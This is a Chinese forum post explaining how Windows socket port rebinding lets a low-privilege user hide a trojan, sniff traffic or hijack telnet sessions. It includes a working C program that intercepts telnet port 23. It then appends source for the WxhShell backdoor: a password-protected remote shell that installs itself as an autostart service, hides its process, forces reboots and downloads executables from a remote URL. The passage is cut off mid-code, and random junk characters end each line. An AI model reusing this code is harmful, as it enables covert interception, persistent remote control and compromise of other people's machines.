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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s!S_Bt):3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CEVisKcE:  
,M~> t7+  
  saddr.sin_family = AF_INET; D"2bgw  
s\< @v7A  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1Ko4O)L]&  
os7xwI;T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~6K.5t7  
K)  Ums-b  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \8g= Ix  
Ldj*{t `5  
  这意味着什么?意味着可以进行如下的攻击: xS:n  
0cDP:EzR;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 LpL$=9  
fv@<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /=T:W*C  
H@u5&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7%W1M@  
; !C_}P  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +&dkJ 4g[  
h?H|)a<^9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $wn0oIuW  
[k0/ZfFwV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 vvu $8n  
tLxeq?Oo]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Wffz&pR8  
&E1m{gB(  
  #include Y;'SD{On  
  #include $}'(%\7"  
  #include ~4|Trz2T  
  #include    #WJ*)$A@&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Rt:^'Qi$!  
  int main() ];jp)P2o  
  { O"/Sv'|H#  
  WORD wVersionRequested; 2[;~@n1P  
  DWORD ret; ,p#r; O<O  
  WSADATA wsaData; >q0%yh-  
  BOOL val; c%bzrYQvA;  
  SOCKADDR_IN saddr; !{{gL=_@  
  SOCKADDR_IN scaddr; |fIyq}{7  
  int err; f$tm<:)Y  
  SOCKET s; T:Ovh.$  
  SOCKET sc; hsT&c|  
  int caddsize; ->X>h_k.Y  
  HANDLE mt; \*Yr&Lm  
  DWORD tid;   N!MDD?0  
  wVersionRequested = MAKEWORD( 2, 2 ); 1/~=61msc  
  err = WSAStartup( wVersionRequested, &wsaData ); L`e19I$  
  if ( err != 0 ) { :5.F  
  printf("error!WSAStartup failed!\n"); ~@)s)K  
  return -1; /[D_9  
  } U82mO+}  
  saddr.sin_family = AF_INET; J3(E{w8Q  
   4 R(m$!E!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 HTv#2WX  
#0hqfs  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5 @-H8*  
  saddr.sin_port = htons(23); .ANR|G  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hSR+7qN<e  
  { c/ih%xR  
  printf("error!socket failed!\n"); h5pfmN\-5  
  return -1; sei2\l8q  
  } PEm2w#X%L  
  val = TRUE; u1Slu%^e  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 R&BWCC{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d =n{Wn{C  
  { _Gf-s51s  
  printf("error!setsockopt failed!\n"); M0~%[nX  
  return -1; !_QT{H  
  } 7 7y+ik  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N_S~&(I|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 RGs7Hc  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ? dHl'  
wwywiFj  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) aidQ,(PDj  
  { "bDj 00nwh  
  ret=GetLastError(); }]PHE(}7  
  printf("error!bind failed!\n"); Kvo&_:  
  return -1; 1^2Q`~,g  
  } <nN.$4~X  
  listen(s,2); 5OtdB'UITd  
  while(1)  oC*a;o  
  { Z/:F)c,x  
  caddsize = sizeof(scaddr); 6_])(F3+w.  
  //接受连接请求 y(MB _B7j  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N%xCyZ  
  if(sc!=INVALID_SOCKET) [U8/nT  
  { -egnMc67  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); DyCzRkH  
  if(mt==NULL) e,VF;Br  
  { ,z>-_HOnw  
  printf("Thread Creat Failed!\n"); 86N,04  
  break; fZ5 UFq_~s  
  } k&%i+5X  
  } IQ~qiFCf  
  CloseHandle(mt); 9#@s(s  
  } bT&{8a  
  closesocket(s); `=P_ed%&'  
  WSACleanup(); %),u0:go  
  return 0; !C05;x8{  
  }   :;yrYAyT3  
  DWORD WINAPI ClientThread(LPVOID lpParam) }O>1tauI  
  { `G/g/>y  
  SOCKET ss = (SOCKET)lpParam; }`Ya;  
  SOCKET sc; rU&Y/  
  unsigned char buf[4096]; =CRptk6tS  
  SOCKADDR_IN saddr; pR93T+X  
  long num; Ao$k[#px  
  DWORD val; _<FUS'"  
  DWORD ret; J  sz=5`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g:a[N%[C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   k]5tU\;Yw  
  saddr.sin_family = AF_INET; $b1>,d'oz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S-88m/"]s  
  saddr.sin_port = htons(23); f"P866@oWn  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #jrlNg4(  
  { $zp|()_  
  printf("error!socket failed!\n"); }Le]qoW['  
  return -1; ;Vat\,45pg  
  } 2m:K %Em6u  
  val = 100; (0b\%;}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7=^}{  
  { a-Y6ghs  
  ret = GetLastError(); un_NBv}  
  return -1; | U"fhG=g  
  } EI6kBRMo  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) su%-b\8K  
  { Ih|4ISI  
  ret = GetLastError(); [)s4:V  
  return -1; ~Yi4?B<  
  } xS tsw5d  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6h)_{| L)  
  { ]"uG04"Vk  
  printf("error!socket connect failed!\n"); qz]qG=wmL  
  closesocket(sc); X+N5iT  
  closesocket(ss); GZu12\0nZ  
  return -1; eG!ma`v  
  }  ^AaE$G&:  
  while(1) *)-@'{]uB  
  { Ovk=s,a)K  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 BLt58LYGX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qX5>[qf-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [YULvWAJ  
  num = recv(ss,buf,4096,0); $Y_S`#c@i  
  if(num>0) QJ;dw8  
  send(sc,buf,num,0); 7 uL.=th'  
  else if(num==0) SA}Dkt&,  
  break; Od~uYOL/B  
  num = recv(sc,buf,4096,0); */aQ+%>jf  
  if(num>0) $&Vba@v  
  send(ss,buf,num,0); 6[k<&;  
  else if(num==0) TS9<uRO0  
  break; (LmU\Pe%  
  } 9 ;p5z[jI  
  closesocket(ss); mI,lW|/l,  
  closesocket(sc); /\-}-"dm  
  return 0 ; zgEN2d  
  } 0 a{hCx|$J  
7`J2/(  
'hU5]}=  
========================================================== )~=8Ssu  
U'ctO%  
下边附上一个代码,,WXhSHELL 2K};-}eW  
8Lx/ZGy  
========================================================== n]$rLm%^  
uq s   
#include "stdafx.h" 4jebx jZ  
l1k&@1"  
#include <stdio.h> >dJuk6J&c&  
#include <string.h> #z.n?d2Gd  
#include <windows.h> SgewAng?@o  
#include <winsock2.h> .(q'7Q Z/  
#include <winsvc.h> dV38-IfGkl  
#include <urlmon.h> "[?DS  
OS@uGp=  
#pragma comment (lib, "Ws2_32.lib") iZy>V$Aq  
#pragma comment (lib, "urlmon.lib") dB6 ,pY(  
u'#/vT#l  
#define MAX_USER   100 // 最大客户端连接数 ;K\2/"$QD  
#define BUF_SOCK   200 // sock buffer }WIkNG4{Z  
#define KEY_BUFF   255 // 输入 buffer E,.PT^au  
uM1$3<  
#define REBOOT     0   // 重启 tW|0_m>{  
#define SHUTDOWN   1   // 关机 /-FV1G,h  
|Qcz5M90e  
#define DEF_PORT   5000 // 监听端口 #%nV\ Bl  
T,9q~*"  
#define REG_LEN     16   // 注册表键长度 S!u8JG1  
#define SVC_LEN     80   // NT服务名长度 PY7H0\S)  
\f^xlX3&`  
// 从dll定义API ca7Y+9< ;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &mVClq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e`g+Jf`AT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y@~ VE5N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }8tF.QjR|  
W.[!Q`  
// wxhshell配置信息 W..*!UGl  
struct WSCFG { <A Hzs  
  int ws_port;         // 监听端口 R;Dj70g  
  char ws_passstr[REG_LEN]; // 口令 ;LP3  
  int ws_autoins;       // 安装标记, 1=yes 0=no "JSIn"/  
  char ws_regname[REG_LEN]; // 注册表键名 ,M{G X  
  char ws_svcname[REG_LEN]; // 服务名 g@!U^mr*3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <`pNdy4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lM4Z7mT /  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )1#/@cU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Xrb7.Y0d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]?1_.Wjtt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^PNDxtd|v  
,3_Sf?  
}; ]>(pj9)  
J";N^OR{A%  
// default Wxhshell configuration oMg-.!6  
struct WSCFG wscfg={DEF_PORT, Gl'G;F$Y-  
    "xuhuanlingzhe", W/BPf{U  
    1, 0}e?hbF%U  
    "Wxhshell", /.7RWy`  
    "Wxhshell", Pp!4Ak4TT9  
            "WxhShell Service", ZtO$kK%q;  
    "Wrsky Windows CmdShell Service", 4xg)e` *U  
    "Please Input Your Password: ", e7"T37  
  1, X$6NJ(2G  
  "http://www.wrsky.com/wxhshell.exe", 2T+-[}*  
  "Wxhshell.exe" ^4 $4x  
    }; i \NV<I  
1xS+r)_n@  
// 消息定义模块 =AzPAN#e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3A`]Rk   
char *msg_ws_prompt="\n\r? for help\n\r#>"; =U*D.p*%f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i#b/.oa  
char *msg_ws_ext="\n\rExit."; a-|pSe*rx  
char *msg_ws_end="\n\rQuit."; k/{WlLN  
char *msg_ws_boot="\n\rReboot..."; *t| !xO  
char *msg_ws_poff="\n\rShutdown..."; gC2}?nq*  
char *msg_ws_down="\n\rSave to "; 3E;@.jD  
8Y`g$2SZ^8  
char *msg_ws_err="\n\rErr!"; .kU^)H" l  
char *msg_ws_ok="\n\rOK!"; $|g1 _;(G  
(CIcM3|9C  
char ExeFile[MAX_PATH]; Wrb[\ ?-  
int nUser = 0; Lq>lj`>  
HANDLE handles[MAX_USER]; *tj(,:!  
int OsIsNt; I{dy,\p  
j3 6Y Iz$a  
SERVICE_STATUS       serviceStatus;  cX C[O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GgY8\>u  
#fa,}aj  
// 函数声明 v}u]tl$,  
int Install(void); =>5Lp  
int Uninstall(void); ^7+;XUyg  
int DownloadFile(char *sURL, SOCKET wsh); fdK E1,;  
int Boot(int flag); d*s*AV  
void HideProc(void); EP@u4F  
int GetOsVer(void); ![K\)7iKo  
int Wxhshell(SOCKET wsl); ZT!8h$SE:  
void TalkWithClient(void *cs); QG?!XWz  
int CmdShell(SOCKET sock); _[&V9 Jt  
int StartFromService(void); lFt!  
int StartWxhshell(LPSTR lpCmdLine); xk~gGT&  
}p6]az3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C lf;+G0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {H[N|\  
&6OY ^6<  
// 数据结构和表定义 af | mk@  
SERVICE_TABLE_ENTRY DispatchTable[] = 6k;5T   
{ "|Q.{(|kO1  
{wscfg.ws_svcname, NTServiceMain}, E<+ G5j  
{NULL, NULL} ~{lb`M^]h  
}; :5/Ue,~ag  
EF:ec9 .  
// 自我安装 BkB _?^Nv8  
int Install(void) M}[Q2v\  
{ _f@,) n  
  char svExeFile[MAX_PATH]; 6 agG*x  
  HKEY key; 8a 8a:d  
  strcpy(svExeFile,ExeFile); k@lJ8(i^qU  
SeXgBbGAne  
// 如果是win9x系统,修改注册表设为自启动 9Zl4NV&B  
if(!OsIsNt) { z9IW&f~~P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u]NsCHKlT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c>D~MCNxg  
  RegCloseKey(key); UZs '[pm)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jkj7ty.J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kl:/PM^  
  RegCloseKey(key); | CFG<]  
  return 0; y%%VJ}'X!  
    } >gzM-d  
  } n(Nu  
} :1qLRr  
else { sG#Os  
?1\I/ 'E9  
// 如果是NT以上系统,安装为系统服务 wicsf<]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #Q7:Mu+  
if (schSCManager!=0) L^t%p1R  
{  DlCN  
  SC_HANDLE schService = CreateService B)@Xz<Q  
  ( rT4Q^t"  
  schSCManager, uxL+oP0  
  wscfg.ws_svcname, 9~Sa7P  
  wscfg.ws_svcdisp, ]>)shH=Yx  
  SERVICE_ALL_ACCESS, l[[`-f8j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H][TH2H1  
  SERVICE_AUTO_START, :MF`q.:X  
  SERVICE_ERROR_NORMAL, ku m@cA  
  svExeFile, xL_QTj  
  NULL, %TN$   
  NULL, ,YM=?No  
  NULL, OAq-(_H  
  NULL, l=XZBe*[g'  
  NULL YG0/e#5  
  ); F>{bVPh VA  
  if (schService!=0) Xxh^4vKjX  
  { 2H$](k?   
  CloseServiceHandle(schService); =Ks&m4  
  CloseServiceHandle(schSCManager); UNb7WN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TU_'1  
  strcat(svExeFile,wscfg.ws_svcname); JzN "o'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WDxcV%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -x6_HibbD  
  RegCloseKey(key); [x 7Rq_^  
  return 0; gnN>Rl 5_  
    } ! U@ETo  
  } NqF*hat  
  CloseServiceHandle(schSCManager); U3Gg:onuE  
} [\Wl~ a l  
} moFrNcso  
' u<IS/w  
return 1; }Jh.+k|_  
} 6,LE_ -G5  
XixjdBFP  
// 自我卸载 am/}V%^  
int Uninstall(void) .a2R2~35  
{ (^B1Kt!<  
  HKEY key; prS%lg>  
/Hk})o_  
if(!OsIsNt) { Pn4.gabE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z@IG"D  
  RegDeleteValue(key,wscfg.ws_regname); 2*`kkS  
  RegCloseKey(key); P51cEhf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FYik}wH]  
  RegDeleteValue(key,wscfg.ws_regname); 7<70\ 6  
  RegCloseKey(key); 5,XEN$^  
  return 0; *.w6 =}  
  } a+z>pV|  
} p\_3g!G'  
} `_LQs9J0J  
else { X n0HJ^"_  
xp:I(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z<t2yh(DF  
if (schSCManager!=0) V8F! o  
{ vh2/d.MO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .sit5BX  
  if (schService!=0) k"[AV2UW1  
  { ;ja~Q .}4  
  if(DeleteService(schService)!=0) { ,~$sJ2 g7  
  CloseServiceHandle(schService); g,YF$:e  
  CloseServiceHandle(schSCManager); BPW.&2?<  
  return 0; g0jf Lv  
  } 9mtndTT 5u  
  CloseServiceHandle(schService); IG}yGGn  
  } 4Kj 8 i  
  CloseServiceHandle(schSCManager); qYe`</  
} .DwiIr'  
} j# c@dze  
H{E(=S  
return 1; tAjT-CXg  
} ![{/V,V]~  
\l0!si  
// 从指定url下载文件 h] )&mFiE"  
int DownloadFile(char *sURL, SOCKET wsh) G $*=9`  
{ jm&[8ApW  
  HRESULT hr; .3+ 8Ip#z  
char seps[]= "/"; ~g[D!HV|yu  
char *token; zuMz6#aCC8  
char *file; `TF3Ho\MC  
char myURL[MAX_PATH]; a>#$&&oQ0  
char myFILE[MAX_PATH]; aTHf+;  
W1o6Sh8v(  
strcpy(myURL,sURL); KpG'E  
  token=strtok(myURL,seps); ZiKO|U@/  
  while(token!=NULL) uHf1b?W  
  { .I{u[ "  
    file=token; K ..Pn 17t  
  token=strtok(NULL,seps); l8M}82_  
  } 'Eia=@  
DfkGNBY  
GetCurrentDirectory(MAX_PATH,myFILE); r.LOj6c  
strcat(myFILE, "\\"); ?:GrM!kq76  
strcat(myFILE, file); zBI2cB8;P  
  send(wsh,myFILE,strlen(myFILE),0); R ^@`]dX$  
send(wsh,"...",3,0); p `oB._ R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,lCFe0>k!=  
  if(hr==S_OK) +c]D2@ctG  
return 0; S~z$ =IiB  
else H,;ZFg/v8  
return 1; n~>b}DY  
-H\j-k  
} xV`)?hEXFh  
hms Aim9i  
// 系统电源模块 mOjjw_3gq  
int Boot(int flag) `K$;K8!1  
{ dEf5x_TGm  
  HANDLE hToken; ~nj+" d]  
  TOKEN_PRIVILEGES tkp; * kL>9  
):+^893)  
  if(OsIsNt) { k|]l2zlT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }7%ol&<@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YuoErP=P  
    tkp.PrivilegeCount = 1; M?gZKdj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $y<`Jy]+)~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _wg~5'w8  
if(flag==REBOOT) { v7+|G'8M`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _Co v>6_i  
  return 0; iRW5*-66f  
} .aK=z)  
else { [;toumv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (Ze\<Y#cv  
  return 0; `"~X1;  
} 7|J&fc5BP  
  } i7\>uni  
  else { Sxy3cv53  
if(flag==REBOOT) { (/> yfL]J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CpgaQG^  
  return 0; Ym]rG 4  
} !"08TCc<  
else { guy!/zQ>A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @[/!e`]+  
  return 0; Vhm^<I-d  
} %74f6\  
} N'5DB[:c:  
RzB64  
return 1; *:l$ud  
} HW6Cz>WxOW  
f|!@H><  
// win9x进程隐藏模块 {qry2ZT5  
void HideProc(void) LM.#~7jC  
{ jNIz:_c-~  
!P6y_Frpe  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ri9n.-xs  
  if ( hKernel != NULL ) at3YL[,[Z  
  { 1-!|_<EW1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kl&_O8E+K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iIo>]\Pw  
    FreeLibrary(hKernel); d7kv <YG  
  } h* /  
wz:w6q  
return; }u5J<*:bZ  
} 7w0=i Z>K  
,.gI'YPQC  
// 获取操作系统版本 !\&4,l(  
int GetOsVer(void) H/G;hk  
{ 3bugVJ9 3  
  OSVERSIONINFO winfo; )4+uM'2%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ."q8 YaW  
  GetVersionEx(&winfo); O_SM!!,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6& 9q6IIy  
  return 1; ?N%5c%oF  
  else mvtuV`  
  return 0; } 4>#s$.2  
} URTJA<r8D  
61TL]S8  
// 客户端句柄模块 S7hfwu&7F  
int Wxhshell(SOCKET wsl) ! }awlv;  
{ dp1t]  
  SOCKET wsh; W?@+LQa??  
  struct sockaddr_in client; YGq-AB  
  DWORD myID; 69C ss'  
qkyYt#4E  
  while(nUser<MAX_USER) u-dF ~.x  
{ E~Y%x/oX  
  int nSize=sizeof(client); %A( hmC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]<O -  
  if(wsh==INVALID_SOCKET) return 1; A5dH*< }  
gm&O-N"= U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iB'g7&,L  
if(handles[nUser]==0) SR\$fmo  
  closesocket(wsh); Fg^zz*e  
else [  **F  
  nUser++; %{P." ki  
  } w?p8)Q6m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OoAZ t  
gkv,Om  
  return 0; e}"k8 ./  
} jM(!!A jpC  
inx0W3d"T  
// 关闭 socket ~_SVQ7P  
void CloseIt(SOCKET wsh) 4b$m\hoN  
{ M$LzV}k  
closesocket(wsh); QjUojHz%Z  
nUser--; ngaQa-8w  
ExitThread(0); ),I7+rY  
} AzBpQb*  
c6pGy%T-  
// 客户端请求句柄 }(if|skau  
void TalkWithClient(void *cs) E{|n\|  
{ +Sdki::  
^TY8,qDA  
  SOCKET wsh=(SOCKET)cs; 51M'x_8  
  char pwd[SVC_LEN]; rxIYgh  
  char cmd[KEY_BUFF]; v]KI=!Gs  
char chr[1]; mc5$-}1V,  
int i,j; `?Xt ,  
}A_>J7w  
  while (nUser < MAX_USER) { 2$QuR~  
t!vlZNc  
if(wscfg.ws_passstr) { o)6udRzBv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8"S? Toqq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); evGUSol?:n  
  //ZeroMemory(pwd,KEY_BUFF); 5'O.l$)y  
      i=0; 7llEB*dSA  
  while(i<SVC_LEN) { }\\6"90g*  
T]J#>LBd  
  // 设置超时 zzBqb\Ky  
  fd_set FdRead; 'Xzi$}E D  
  struct timeval TimeOut; ^-7{{/  
  FD_ZERO(&FdRead); H~"XlP  
  FD_SET(wsh,&FdRead); / k8;k56  
  TimeOut.tv_sec=8; Y3wL EG%,:  
  TimeOut.tv_usec=0; /T2f~1R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x?Oc<CQ-2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ( G6N@>V(`  
TMQu'<?V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O/R>&8R$  
  pwd=chr[0]; c )o[3o7  
  if(chr[0]==0xd || chr[0]==0xa) { ]^\+B4  
  pwd=0; $JXQn  
  break; mJ5LRpXN  
  } h?:Y\DlU'  
  i++; u~d&<_Z  
    } 4.mbW  
C(*)7| m  
  // 如果是非法用户,关闭 socket A,s .<TG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @$'1  
} }tT*Ch?u  
9^c"HyR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {VE$i2nC8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8m"5J-uIi  
P%Ux-0&  
while(1) { =1vVI Twl  
[f'DxZF-  
  ZeroMemory(cmd,KEY_BUFF); CSooJ1Ep~'  
Iq[,)$  
      // 自动支持客户端 telnet标准   }t #Hq  
  j=0; f?C !Br}  
  while(j<KEY_BUFF) { SB[,}h<u1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KhV; />(  
  cmd[j]=chr[0]; (Dl68]FX  
  if(chr[0]==0xa || chr[0]==0xd) { y0' "  
  cmd[j]=0; w8g36v*+(u  
  break; T {lJ[M  
  } rzqUI*4%  
  j++; pf`li]j'V  
    } 2={ g'k(  
uQ.VW/>  
  // 下载文件 BPd]L=,/  
  if(strstr(cmd,"http://")) { MY[" zv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Fk,3th  
  if(DownloadFile(cmd,wsh)) #B)`dA0a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T;< >""T  
  else  93(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }a_: oR  
  } m"vV=6m|\  
  else { [ @/[#p  
0,;FiOp  
    switch(cmd[0]) { jr:LLn#}  
  k\}qCDs  
  // 帮助 .9g\WH#qD|  
  case '?': { c~|/,FZU'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7_/.a9$G  
    break; &[KFCn  
  } -}juj;IVv  
  // 安装 `"CF/X^  
  case 'i': { uS|Zkuk[!  
    if(Install()) u;:N 4d=f'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \9/n~/{  
    else $P@P}%2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t5N4d  
    break; |R*fw(=W  
    } _H8)O2mJ  
  // 卸载 wL 5).`oq  
  case 'r': { s}9aZ  
    if(Uninstall()) ;o3 .<"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?t} [Wi}7  
    else ]yVB66l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XW Y0WDh:  
    break; ^J~}KOH  
    } .[Sv|;x"E  
  // 显示 wxhshell 所在路径 *<#&ne 8  
  case 'p': { a}c(#ZLs  
    char svExeFile[MAX_PATH]; 1 )j%]zd2  
    strcpy(svExeFile,"\n\r"); Z?hBn`.  
      strcat(svExeFile,ExeFile); }RUC#aW1  
        send(wsh,svExeFile,strlen(svExeFile),0);  D#m+w  
    break; D0k7)\puQ  
    } D1O7S]j  
  // 重启 +-~;?wA  
  case 'b': { 28BiuxVW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >k\*NW  
    if(Boot(REBOOT)) f3l >26  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XLbrE|0A?  
    else { bt&vik _  
    closesocket(wsh); 3nK'yC  
    ExitThread(0); ); |~4#  
    } [bT@Y:X@`  
    break; <qRw! 'S^  
    } `g :<$3}  
  // 关机 ^LC5orO  
  case 'd': { .(1$Q6yG  
